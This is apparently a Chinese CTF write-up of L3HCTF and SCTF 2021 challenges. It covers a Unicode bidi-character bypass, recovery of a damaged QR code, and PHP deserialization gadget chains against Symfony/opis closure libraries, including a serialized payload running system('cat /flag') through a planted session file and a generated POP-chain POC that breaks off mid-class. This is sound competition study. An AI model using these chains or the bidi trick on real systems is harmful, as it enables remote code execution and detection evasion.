0%

L3HCTF&SCTF2021部分wp

期末考试基本考完了,分还没出,但是这学期课内学的时长就能提前预知到出分后的痛苦了。无论如何,要把之前欠的两次XCTF联赛的题解补上。

L3HCTF2021

or4nge战队获得了第21名的好成绩!

image-20220110001421778

在这比赛先看了看cover那道java,找到一个json点,但可惜真的不会java,image service又是go的逆向,看着就难受,就去和pill0w师傅去看别的题了,做了一个其他的web和misc。

Easy PHP

看了题,这难道不是学ctf第一天的题??正常payload打过去显然不通,肯定有问题,疑点在于这个配色显然不对劲。

image-20220110183943241

复制下来发现有特殊字符,那么问题显然出在这里:

image-20220110185600732

image-20220110190636418

RLO,LRI,PDI这三种特殊unicode控制字符,粘贴到vscode上能显示出这都是\u2066,\u202E,\u2069

\u202E会将字符串进行翻转,但是怎么翻的具体优先级还是很离谱,注意到这段话有12个unicode,其中每4个分为一组,分别是\u202e,\u2066,\u2069,\u2066,那我完全可以把\u202e+\u2066+str+\u2069+\u2066理解为一个新的str,拼起来就好了。

最终payload:

1
?username=admin&‮⁦L3H⁩⁦password=‮⁦CTF⁩⁦l3hctf

博客复制上去可能会丢失字符,直接看截图吧:

image-20220110185710546

image-20220110190329651

看了flag发现还是一个CVE,我直接震惊(不过知道了这技巧是不是就可以发一些话绕过bot的检测了)

cropped

(由于比赛wp鸽了俩月,浏览器记录被清理了,很多中间过程全部丢失,我现在在凭印象写题)

题目很简单,给了一个裁了一半多的二维码,让你还原,但可惜我对二维码一无所知,传唤misc手来也不是很懂,但可惜没有别的会的题了,那就硬啃二维码的原理,一定能啃出来。

image-20220110003634691

这里推荐一些好用的学习资料:

https://merricx.github.io/qrazybox/ 在线绘图,还能自动分析,超级好用

https://coolshell.cn/articles/10590.html 二维码的生成原理与细节

https://www.swisseduc.ch/informatik/theoretische_informatik/qr_codes/docs/qr_standard.pdf 官方文档,一个大pdf

https://www.thonky.com/qr-code-tutorial/error-correction-coding 一个手把手教你画二维码的过程

在qrazybox上分析出这是一个33*33的二维码,属于V4,根据图片左上角的信息能推断出这个二维码是L级纠错,掩码类型是2。

image-20220110131139527

从官方文档得知,这是L级纠错码,只能恢复7%的codeword。(最低级纠错码,感受到出题人的恶意了。)

然后我们继续分析V4二维码的结构:

image-20220110144013602

像这个就是一个纠错登记非常高的二维码,右边的部分是数据部分,左边是纠错部分,每一个块包含8个格,也就是8bit,一个字节。

image-20220110152632050

在线网站为我们的纠错码部分分了块,估计是右边缺的数据太多,无法分清了,虽然格式是固定的。

image-20220110153402640

参考这张V3的图,我们往上填的就是类似这种的,从右下角出发,zig-zag的走,如果遇到非数据区,就绕开或者跳过。在碰壁的时候需要横着走4步。

然后我们需要分析数据区的编码方式了,二维码支持数字编码,字符编码,字节编码,日文编码什么的,位于官方手册的P24页:

image-20220110155731738

然后这个题的话根据题目信息应该是字符信息,要么是字符就是字节,继续阅读,发现方式如下:mode indicators+长度+内容+padding。其中mode indicators长度为4bit,也就是说

image-20220110160042655

右下角一个4个格,接下来8个格是长度,接下来每八个格就是具体内容了,我们从如下内容中能否获取关键信息呢?

image-20220110160158864

每个块中间截后一半和下一个的前一半拼起来算ascii码,能发现神奇的东西:看到了http github l3hctf

结合题目信息,是把flag放在一个代码片段,就联想到了gist.github这个东西,自己尝试一下:

发现网址形如这种形式:https://gist.github.com/FYHSSGSS/59a4d122d44865b0b29d4cc51f9a258c,域名后面跟着自己的用户名,之后是32位16进制。

所以这个二维码的内容就形如:https://gist.github.com/L3HCTF/********************************,生成一个类似的二维码抄作业,得到这样的二维码:

image-20220110163017430

其中中下部分每个块我都填了一个1,因为都是ascii码,第一位肯定是0。

接下来是padding部分,阅读官方手册,发现就是重复下面的两个bytes:11101100 00010001,网站已经智能把padding部分给我们留出来了,直接填就好。

image-20220110163714678

可以看到这个二维码的基本已经快出来了,但只是看上去快出来的,但是最关键的中下部分的部分字符我们还是不得而知。

https://gist.github.com/L3HCTF/9*******4fdbba26********cad7d71e,还有15个字符,硬爆显然不可能,我们需要针对左边剩余的纠错码进行尽可能的纠错。

然后跑去学纠错原理了,这里用的是里德-所罗门码,(赶紧回去翻上学期的信息论ppt简单复习一下纠错码的原理),纠错具体过程我跟了博客全程走了一遍,大约原理就是一个系数满足$GF(2^8)$的伽罗华域上运算的多项式环上的运算,做大除法什么的取余数什么的,过程细节即为恶心,我当时真的害怕不会是让我纯手撸一份这个代码吧,但也是有不少的爆破量,对于L级别的纠错来说还是太难了。

这时候就搜到了一个 reedsolo 的python库,太好了不用再重复造轮子了。

前往官网学习一下这个库的用法:https://pypi.org/project/reedsolo/

经测试发现,这个纠错能力好像远远大于二维码本身的纠错能力,允许出错的字节数只要小于等于纠错码的数量就能恢复出来。

数了一下,我们有25个不确定的块,所以我们只需要爆破那5个块恢复即可,当然有可能爆破有问题,恢复出来的网址是不可见字符,所以只要爆出全为不可见字符,并且范围均在0123456789abcdef之间即为答案。

本来应该爆的很快的,但是我写代码的时候已经神志不清了,之前做了一些优化剪枝觉得有问题,全给删了,采用的是最暴力的爆法,同时开了4个进程然后跑去睡觉了,睡了15分钟再来看发现就出了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
letter = "1234567890abcdef"
def work(payload):
import reedsolo

reedsolo.init_tables(0x11d)

qr_bytes = payload.split()

b = bytearray()
erasures = []
for i, bits in enumerate(qr_bytes):
if '?' in bits:
erasures.append(i)
b.append(0)
else:
b.append(int(bits, 2))
mes, ecc, errata_pos = reedsolo.rs_correct_msg(b, 20, erase_pos=erasures)

for i, c in enumerate(mes):
if i == 79:
continue
if i == 38 or i == 39 or i == 37 or i == 55 or \
i == 54 or i == 48 or i == 49 or i == 50\
or i == 51 or i == 52 or i == 53:
first = '{:08b}'.format(c)[4:]
second = '{:08b}'.format(mes[i + 1])[4:]
mix = chr(int(first + second, 2))
if mix not in letter:
return
print('!!!!')
fout = open('res.txt', 'w')
for c in mes:
fout.write('{:08b}'.format(c))
fout.write('\n')
print('{:08b}'.format(c))
print(errata_pos)

def pre():
fp = open('data2.txt', 'r')
L = eval(fp.readline())
return L

init_payload = pre()
cnt = 0
for a in letter:
for b in letter:
for c in letter:
for d in letter:
for e in letter:
ii = bin(ord(a))[2:].rjust(8, '0')
jj = bin(ord(b))[2:].rjust(8, '0')
kk = bin(ord(c))[2:].rjust(8, '0')
ll = bin(ord(d))[2:].rjust(8, '0')
mm = bin(ord(e))[2:].rjust(8, '0')
now_payload = init_payload
now_payload[33] = '1001' + ii[:4]
now_payload[34] = ii[4:] + jj[:4]
now_payload[35] = jj[4:] + kk[:4]
now_payload[36] = kk[4:] + ll[:4]
now_payload[37] = ll[4:] + mm[:4]
now_payload[38] = mm[:4] + '0???'
payload = ''''''
for i in range(80):
payload += now_payload[i] + '\n'
payload += '\n'

for i in range(80,100):
payload += now_payload[i] + '\n'
# print(payload)
cnt += 1
if cnt % 10000 == 0:
print(cnt)
try:
work(payload)
except:
continue

把拿到的数据库块翻译成网址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fp = open('res.txt', 'r')
ans = ''
output = ''
for line in fp.readlines():
line = line.replace('\n', '')
output += '"' + line + '",'
ans += line
ans = ans[12:]
new_list = []
for i in range(0, len(ans) // 8):
tmp = ans[i * 8: i * 8 + 8]
new_list.append(tmp)
unknown = 0
ans = ''
for i, c in enumerate(new_list):
if '?' in c:
unknown += c.count('?')
print(i, c, "error")
continue
print(i, c, chr(int(c, 2)))
ans += chr(int(c, 2))
print(ans)
print(output)

得到网址:

https://gist.github.com/L3HCTF/9a68efd54fdbba26372d0842cad7d71e,进去就是flag。

哦对了,最后二维码长这样:

image-20220110170444794

拿了个三血,跟二血就差一点,我的我的

image-20220110170401290

SCTF2021

or4nge战队获得了第14名的好成绩!

image-20220110001459745

先附上我们官方的wp:https://or4ngesec.github.io/post/sctf2021-writeup-by-or4nge/

Upload it

可以任意上传/tmp目录下文件, 一开始没什么思路,但是利用给的Composer.json

1
2
3
 "symfony/string": "^5.3",

"opis/closure": "^3.6"

结合出题人发布的文章https://www.anquanke.com/post/id/217929#h2-3找到一条链,其中lazystring的任意无参数函数调用接的是闭包函数__invoke,可以将闭包函数序列化进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
namespace Symfony\Component\String{
require "C:\Users\FYHSSGSS\Documents\University\CTF\\race\\2021SCTF\Upload_it\\vendor\autoload.php";
class LazyString{
private $value;
public function __construct()
{
$func = function(){system("cat /flag");};
$d = new \Opis\Closure\SerializableClosure($func);
$this->value = $d;
}

}
class UnicodeString{
protected $string = '';
public function __construct()
{
$this->string=new LazyString;
}
}
}
namespace {
$exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));

}

其实这条链本地没有打通,原因是因为在UnicodeString.php里,对$this->string进行了限制

1
2
3
4
5
6
7
8
    public function __wakeup()
    {
        if (!\is_string($this->string)) {
            throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
        }

        normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
    }

这个先不是担心的点,现在问题是反序列化点在哪,phpinfo条件没用上,哪里能反序列化呢?

https://xz.aliyun.com/t/6640

后来因为我们tmp目录任意文件写,可以直接写进session文件。查看phpinfo发现session 的处理器是php,于是可以把upload_path|$serialize写进/tmp/sess_or4nge,然后改自己的session_id为or4nge,即可触发反序列化。

那个__wakeup防了一处怎么办呢?猜到出题人以前发布在安全客的,万一远程能通呢,直接盲打过去,居然RCE成功了。

1
or4nge|O%3A38%3A%22Symfony%5CComponent%5CString%5CUnicodeString%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00string%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A196%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A32%3A%22function%28%29%7Bsystem%28%22cat+%2Fflag%22%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%2200000000034bf950000000005225a861%22%3B%7D%7D%7D%7D

Upload it 2(*)

属于是看了exp后想砸桌子的题。

两道题唯一的区别就是closure没了,改成了一个自己写的类,看起来很好利用,但是没想到在wakeup处被偷袭了一手,直接抛异常了。于是我们就想方设法去绕过`wakeup`,无果,直接开摆。

看完题解后发现poc和我写的完全一样,人家触发反序列化的时候走的不是weakup,是sleep。其实上一题题目的flag也说了是一个sleep_chain,但当时我没注意,pill0w说有么有可能是触发sleep,但我觉得这也太反人类了,为什么在反序列化的时候会触发序列化呢??

看了官方wp也没说为什么会触发,我也不懂,但是这次收获了一个惨痛的教训,以后无论如何,先要盲打远程。

FUMO on the Christmas tree

强网杯pop_master魔改的题,记得当时正好还在考六级,那道题用的最暴力的做法,正则提取类的名字,属性,变量什么的,正则写的巨恶心,导致污点没法分析,然后我暴力dfs跑出一堆链,其中这些链99.9%都是被污染过的,但没办法,于是对这几百个链暴力建pop链暴力本地跑看能不能rce,我记得跑了一个多小时才行,总之就特别特别离谱。

时隔六月,碰到了一个更加阴间的题目,做法肯定要变了,参考了强网杯的题解,我们的方法之所以恶心,就是因为正则,如果我们能针对这份静态代码构建语法树,就能缕清整个代码逻辑了,然后想要什么就能拿什么了,污点分析也能顺便处理了。

这里就用到了PhpParser神奇的东西,能自动分析,下面我们就来学习一下怎么分析语法树拿下来的结果吧。

1
2
3
4
5
6
7
8
9
10
11
foreach ($stmts as $k => $class_point) {
foreach ($class_point->stmts as $kk => $subpoint) {
if (!$subpoint->params) {
continue;
}
$parms = $subpoint->params[0]->var->name;
foreach ($subpoint->stmts as $kkk => $method_point) {

}
}
}

其中第一层的$class_point的形如:$class_point里有name,stmts,attrGroups.

$class_point->name->name可以获得每个类的名字
针对stmts进行遍历,能得到类内部的资料:注释里的方法都是通过$subpoint->gettype()得到的)

1
2
3
4
5
6
7
8
class Titanic{
public $people;//Stmt_Property
public $ship;//Stmt_Property
function __destruct(){//Stmt_ClassMethod

$this->people->action=$this->ship;
}
}

然后我们打印一下$subpoint->name,发现针对Stmt_Property都是NULL,如果是Stmt_ClassMethod就是函数的名称,通过$subpoint->name->name获得。
下面我开始分析每个函数内部的结构

1
2
var_dump($subpoint->name->name);
var_dump($subpoint->params[0]->var->name);

拿到每个函数的名字以及参数,因为这个题基本每个函数都是一个参数,有几个特例:

  • __destruct 那个是入口点
  • __call 昨天已验证可以改写成一个参数
  • __invoke 只有一个参数
    1
    2
    3
    foreach ($subpoint->stmts as $kkk => $method_point) {

    }
    这样分析函数内部所有语句,还是分为这几类:Stmt_IfStmt_Expression,没有for,那我就挨个分析每种语句了。
  • Stmt_Expression
    赋值的变量名
1
$method_point->expr->expr->var->name

赋值的函数名:

1
$method_point->expr->expr->expr->name->parts[0]

赋值函数参数:
1
$method_point->expr->expr->expr->args[0]->value->name

还需要考虑这种特殊情况:
1
@$oEFgIl4 = $oEFgIl4;

这种情况,赋值的东西就是:
1
$method_point->expr->expr->expr->name

  • Stmt_If
    一般Stmt_If只有一个语句,我们拿stmts的[0]即可。
1
$method_point->stmts[0]

然后我们分析这种类似的语句:

1
$this->PKnKwkRo->rUC0bOsf($l3VwfSUx9Y);

他进行了一个递归处理:
1
($this->PKnKwkRo)->rUC0bOsf($l3VwfSUx9Y);

前面的括号可以用这种表示:
1
$method_point->stmts[0]->expr->expr->var

拿到this:
1
$method_point->stmts[0]->expr->expr->var->var->name

拿到this后用的对象:PKnKwkRo
1
$method_point->stmts[0]->expr->expr->var->name->name

括号后面的方法名称:rUC0bOsf
1
$method_point->stmts[0]->expr->expr->name->name

语法树解析完毕,

然后我们需要把__call,__invoke给处理了,我第一直觉是要解决通配符,但是仔细分析发现想复杂了,这其实就是一种正常的边换了一种形式而已。

最后是污点分析,我们拿到了所有方法汇总:

strrev,base64_decode,base64_encode,sha1,str_rot13,ucfirst,md5,crypt

对于md5,crypt,sha1这种单向函数是不可逆向的,直接pass掉,然后在debug过程中发现ucfirst和base64_encode也会让事情变得更复杂,也不要他们。

然后就开始了无脑的码农时间。。。

首先是对__invoke__call的魔术方法的类进行改写,全部能改写为正常的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import re
from base64 import b64decode

def erase_call(FILEIN, FILEOUT):
    fp = open(FILEIN, 'rb')
    fo = open(FILEOUT, 'wb')
    FILE = [_.decode().replace('\n', '') for _ in fp.readlines()]
    i = 0
    while i < len(FILE):
        line = FILE[i]
        if '__call' in line:
            l1, l2 = FILE[i + 1], FILE[i + 2]
            use_func = re.search(r'extract\(\[\$name => \'(.*)\'\]\);', l1)[1]
            pattern = re.search(r'if \(is\_callable\(\[\$this\-\>(.*)\, \$(.*)\]\)\)', l2)
            obj_name, func_name = pattern[1], pattern[2]
            new_code = []
            new_code.append('    public function %s($value) {\n' % func_name)
            new_code.append('        if (is_callable([$this->%s, %s])) @$this->%s->%s($value);\n' % (obj_name, use_func, obj_name, use_func))
            new_code.append('    }\n')
            for j in new_code:
                fo.write(j.encode())
            i += 4
        else:
            fo.write((line + '\n').encode())
        i += 1
    fp.close()        
    fo.close()

def erase_invoke(FILEIN, FILEOUT):
    fp = open(FILEIN, 'rb')
    fo = open(FILEOUT, 'wb')
    FILE = [_.decode().replace('\n', '') for _ in fp.readlines()]
    i = 0
    while i < len(FILE):
        line = FILE[i]
        if '@call_user_func' in line:
            pattern = re.search(r'call_user_func\(\$this\-\>(.*)\, \[\'(.*)\' \=\> \$(.*)\]\);', line)
            # print(pattern)
            obj_name, use_func, func_para = pattern[1], pattern[2], pattern[3]
            # print(obj_name, use_func, func_para)
            new_code = "        if (is_callable([$this->%s, '%s'])) @$this->%s->%s(%s);\n" % (obj_name, use_func, obj_name, use_func, func_para)
            fo.write(new_code.encode())
        elif "__invoke" in line:
            l1, l2 = FILE[i + 1], FILE[i + 2]
            key = re.search(r'\$key = base64_decode\(\'(.*)\'\);', l1)[1]
            key = b64decode(key.encode()).decode()
            pattern = re.search(r'\$this\-\>(.*)\-\>(.*)\(\$value\[\$key\]\);', l2)
            try:
                obj_name, use_func = pattern[1], pattern[2]
            except:
                print(line)
                print(l1)
                print(l2)
            new_code = []
            new_code.append('    public function %s($value) {\n' % key)
            new_code.append('        if (is_callable([$this->%s, %s])) @$this->%s->%s($value);\n' % (obj_name, use_func, obj_name, use_func))
            new_code.append('    }\n')
            for j in new_code:
                fo.write(j.encode())
            i += 3
        else:
            fo.write((line + '\n').encode())
        i += 1
    fp.close()        
    fo.close()

erase_invoke('class.code.txt', 'mid_class.txt')
erase_call('mid_class.txt', 'final_class.txt')

在最终代码里手动把namespace christmasTree里去掉,之后进行PHP_Parser对这份代码进行语法树构建分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
ini_set('memory_limit', '1024M');
require 'C:\Users\FYHSSGSS\vendor\autoload.php';
error_reporting(0);
use PhpParser\Error; //use to catch error
use PhpParser\NodeDumper; //use to read node
use PhpParser\ParserFactory; //use to anlaysis code
use PhpParser\PrettyPrinter;

$inputPhpFile = 'final_class.txt';

$code = file_get_contents($inputPhpFile);

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$stmts = $parser->parse($code);
} catch (Error $e) {
echo "Parse error:{$e->getMessage()}\n";
exit(0);
}
echo "[+] get file done\n";
$deleteCnt = 0;
$deleteCla = 0;
$nodeDumper = new NodeDumper;
$class_num = 0;

$func_list = array();
$fp = fopen("function_list.txt", "wb");
$fo = fopen("deploy_list.txt", "wb");
$fd = fopen("destination.txt", "wb");
foreach ($stmts as $k => $class_point) {
if ($class_point->gettype() === 'Stmt_Nop')
continue;
if ($class_point->gettype() === 'Stmt_Class'){
$class_name = $class_point->name->name;
$class_num++;
foreach ($class_point->stmts as $kk => $subpoint) {
if ($subpoint->gettype() === 'Stmt_Nop')
continue;
if ($subpoint->gettype() === 'Stmt_Property') {
;
}
if ($subpoint->gettype() === "Stmt_ClassMethod") {
$func_name = $subpoint->name->name;
if ($func_name === '__destruct') {
$entrance = $class_name;
break;
}
if (!$subpoint->params) {
continue;
}
$parms = $subpoint->params[0]->var->name;
fwrite($fp, $class_name.' '.$func_name."\n");
$pass_way = "pass";
foreach ($subpoint->stmts as $kkk => $method_point) {
if ($method_point->gettype() === 'Stmt_Expression') {
$assign_1 = $method_point->expr->expr->var->name;
$use_func = $method_point->expr->expr->expr->name->parts[0];
$assign_2 = $method_point->expr->expr->expr->args[0]->value->name;
if($use_func === null) {
$assign_2 = $method_point->expr->expr->expr->name;
$use_func = "pass";
}
else {
$func_list[$use_func] = 1;
}
if($assign_1 !== $assign_2) break;
$pass_way = $use_func;
if(in_array($pass_way, array("sha1", "md5", "crypt"))) {
break;
}

} else if($method_point->gettype() === 'Stmt_If') {
if ($method_point->stmts[0]->expr->name->parts[0] == "readfile") {
fwrite($fd, $class_name.' '.$func_name.' '.$parms."\n");
break;
}
$use_obj = $method_point->stmts[0]->expr->expr->var->name->name;
$use_func = $method_point->stmts[0]->expr->expr->name->name;
fwrite($fo, $class_name.' '.$func_name.' '.$use_obj." ".$use_func." ".$pass_way."\n");
}
}
}
}
}
}
echo '[+] filter done' . "\n";
echo $entrance;
fclose($fp);
fclose($fo);

构建把所有类的名称,函数, 终点的类的函数,以及函数调用关系分别存储起来。
其中有一些污点过滤,比如md5,sha1,ucfirst,crypt的调用直接无视,赋值两边参数不等的也直接无视,另外发现base64解码的时候出现的不可见字符也会对后面产生影响,故把所有进行base64_decode部分全部剪掉。

然后手动加一下__destruct在文件里,把这三个文件放在一起,然后用C语言寻找可行链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <bits/stdc++.h>
using namespace std;
#define mem(a, b) memset(a, b, sizeof(a))
typedef long long LL;
typedef pair<string, string> PII;
#define X first
#define Y second
inline int read() {
int x = 0, f = 1; char c = getchar();
while(!isdigit(c)) {if (c == '-')f = -1; c = getchar();}
while(isdigit(c)) {x = x * 10+ c-'0'; c = getchar();}
return x * f;
}
const int maxn = 20010;
struct Edge {
int u, v, next;
PII w;
Edge(){}
Edge(int _1, int _2, int _3, string _4, string _5): u(_1), v(_2), next(_3) {
w = make_pair(_4,_5);
}
}e[maxn << 4]; 
int first[maxn], ce = -1, tot, tag[maxn];
string name[maxn], func[maxn], use[maxn];
struct Class {
string name, func;
Class () {}
Class (string _1, string _2):name(_1), func(_2) {}
bool operator < (const Class &s) const {
if(name == s.name) {
return func < s.func;
}
return name < s.name;
}
}a[maxn];
int pre[maxn], n;
PII prew[maxn]; 
void addEdge(int a,int b, string c,string d) {
e[++ce] = Edge(a, b, first[a], c, d); first[a] = ce;
}
map<Class, int> M;
int match(Class A,string use_func, string use_obj, string pass)
{
for (int i = 1; i <= n; i++) {
if (M[A] == i) continue;
if (use_func == a[i].func) {
addEdge(M[A], M[a[i]], use_obj, pass);
}
}
}
bool vis[maxn];
int count_chain;
void dfs(int now, int fa) {
vis[now] = 1;
if (tag[now]) {
count_chain ++;
int tmp = now;
cout << a[tmp].name << ' ' << a[tmp].func << endl; 
string use_obj = prew[tmp].X, pass_way = prew[tmp].Y;
tmp = pre[tmp];
while(tmp != -1) {
cout << a[tmp].name << ' ' << a[tmp].func << ' ' << use_obj << ' ' << pass_way << endl;
use_obj = prew[tmp].X, pass_way = prew[tmp].Y;
tmp = pre[tmp];
}
cout << endl;
return;
}
for (int i = first[now]; i != -1; i = e[i].next) {
if(e[i].v != fa && !vis[e[i].v]) {
if(e[i].w.Y == "base64_encode")continue;
if(e[i].w.Y == "ucfirst")continue;
pre[e[i].v] = now;
prew[e[i].v] = e[i].w;
dfs(e[i].v, now);
}
}
}
int main() {
mem(first, -1);
freopen("data.txt", "rb", stdin);
freopen("ans.txt", "w", stdout);
int start = 1;
n = read();
string params;
for (int i = 1; i <= n; i++) {
cin >> name[i] >> func[i];
a[i] = Class(name[i], func[i]);
M[a[i]] = i;
}  
int m = read();
for(int i=1;i<=m;i++){
string class_name, func_name, use_obj, use_func, pass_way;
cin >> class_name >> func_name >> use_obj >> use_func >> pass_way;//$class_name.' '.$func_name.' '.$use_obj." ".$use_func." ".$pass_way
int id = 1;
for (int j = 1; j <= n; j++)
if (class_name == name[j] && func_name == func[j]) {
id = j;
break;
}
match(a[id], use_func, use_obj, pass_way);
}
int o = read();
for (int i = 1; i <= o; i++) {
string x, y, z;
cin >> x >> y >> z;
int id = 0;
for (int j = 1; j <= n; j++)
if(x == name[j] && y == func[j]) {
id=j;
break;
}
if(id==0)cout<<x<<' '<<y<<endl;
tag[id] = 1;
}
pre[start] = -1;
dfs(start, -1);
cout<<count_chain;
return 0;
}

刚好只有一条可行链,倒序打印链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
AN9pNsmlT Fhh5TZoD0
Ugh4SYk00D bLqi60vf tQF7ER str_rot13
xEFW8yw08 gvgCPyi nYuAuh2 str_rot13
Xl5V1fEbzD Z5G5uz fgVgm4TV97 pass
d9vgRnlEA trZx9DLGq T4rUU9R base64_decode
Ronyv7u Uaxr3XOrz uDQ0ehd4p strrev
T6Y5QYS GP5h5gz p9mwE7l str_rot13
SKVnfvfbas gkbXYD UOvWbl pass
o5d0ioNZ vBmg2S exGoDOPm str_rot13
FK0LfIlrxm uxVcfoc gZ9IzdbF6T pass
eHSt3I5L30 YbMfp8D9 exoEH1 pass
c76So3oF EttYcl6 cwQWOIEL strrev
u1q3m04qZb EtQ6pQB NGIlAGGLv pass
xT506K QiVLzL Dblxvn pass
p6NArTi YgmXN30 VbpsE7wqUH base64_decode
ezlgUUHCdQ lwUpo3 fDViVU pass
uGnuU5pGgQ cc60Kte4Em XbW5o6yiGv base64_decode
GGcIkQ6E a2l0Eeqr CK5OgoyC strrev
vS1qenzGWr kR5Y66g yrVWMn9 pass
amg2Vw __destruct PCR49GlRM pass

根据上述链的写脚本构造poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
fp = open('popchain.txt', 'r')
fo = open('poc.php', 'w')
fo.write('<?php\nnamespace christmasTree{\n')
line_list = []
for line in fp.readlines():
    line = line.replace('\n', '')
    line_list.append(line)
line_list = line_list[::-1]
for i, line in enumerate(line_list[:-1]):
    class_name, func_name, use_obj, _ = line.split(' ')
    if i == 0:
        start_point = class_name
    next_name = line_list[i + 1].split(' ')[0]
    print(class_name, func_name, use_obj, next_name)
    payload = '''class %s{
        public $%s;
        public function __construct(){
            $this->%s = new %s();
        }
    }
    ''' % (class_name, use_obj, use_obj, next_name)
    fo.write(payload + '\n')
class_name, func_name = line_list[-1].split(' ')
payload = '''class %s{
        public $%s;
    }
    ''' % (class_name, use_obj)
fo.write(payload + '\necho urlencode(serialize(new %s()));}' % start_point)
print(class_name, func_name)

生成的poc不能直接打通,因为要求类内所有public属性都要进行赋值,对生成的poc还需要手动修改,对未利用的对象赋为stdClass().
最终的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
namespace christmasTree{
class amg2Vw{
public $PCR49GlRM;
public function __construct(){
$this->PCR49GlRM = new vS1qenzGWr();
}
}

class vS1qenzGWr{
public $yrVWMn9;
public $S839pvNRU;
public function __construct(){
$this->yrVWMn9 = new GGcIkQ6E();
$this->S839pvNRU = new \stdClass();
}
}

class GGcIkQ6E{
public $CK5OgoyC;
public $Vkyud3;
public function __construct(){
$this->CK5OgoyC = new uGnuU5pGgQ();
$this->Vkyud3 = new \stdClass();
}
}

class uGnuU5pGgQ{
public $XbW5o6yiGv;
public $XEH9BQ;
public function __construct(){
$this->XbW5o6yiGv = new ezlgUUHCdQ();
$this->XEH9BQ = new \stdClass();
}
}

class ezlgUUHCdQ{
public $fDViVU;
public function __construct(){
$this->fDViVU = new p6NArTi();
}
}

class p6NArTi{
public $VbpsE7wqUH;
public $yKwNrpRAQ;
public function __construct(){
$this->VbpsE7wqUH = new xT506K();
$this->yKwNrpRAQ = new \stdClass();
}
}

class xT506K{
public $Dblxvn;
public $sPEbogX4;
public function __construct(){
$this->Dblxvn = new u1q3m04qZb();
$this->sPEbogX4 = new \stdClass();
}
}

class u1q3m04qZb{
public $NGIlAGGLv;
public function __construct(){
$this->NGIlAGGLv = new c76So3oF();
}
}

class c76So3oF{
public $cwQWOIEL;
public $rHYG3Wr;
public function __construct(){
$this->cwQWOIEL = new eHSt3I5L30();
$this->rHYG3Wr = new \stdClass();
}
}

class eHSt3I5L30{
public $exoEH1;
public $UO4yLd;
public function __construct(){
$this->exoEH1 = new FK0LfIlrxm();
$this->UO4yLd = new \stdClass();
}
}

class FK0LfIlrxm{
public $gZ9IzdbF6T;
public $Q7mg44bg;
public function __construct(){
$this->gZ9IzdbF6T = new o5d0ioNZ();
$this->Q7mg44bg = new \stdClass();
}
}

class o5d0ioNZ{
public $exGoDOPm;
public $TEODq2c3Uo;
public function __construct(){
$this->exGoDOPm = new SKVnfvfbas();
$this->TEODq2c3Uo = new \stdClass();
}
}

class SKVnfvfbas{
public $UOvWbl;
public $m4pnFndZoX;
public function __construct(){
$this->UOvWbl = new T6Y5QYS();
$this->m4pnFndZoX = new \stdClass();
}
}

class T6Y5QYS{
public $p9mwE7l;
public $aysl2yR5g;
public function __construct(){
$this->p9mwE7l = new Ronyv7u();
$this->aysl2yR5g = new \stdClass();
}
}

class Ronyv7u{
public $uDQ0ehd4p;
public $uqkULP0XD;
public function __construct(){
$this->uDQ0ehd4p = new d9vgRnlEA();
$this->uqkULP0XD = new \stdClass();
}
}

class d9vgRnlEA{
public $T4rUU9R;
public function __construct(){
$this->T4rUU9R = new Xl5V1fEbzD();
}
}

class Xl5V1fEbzD{
public $fgVgm4TV97;
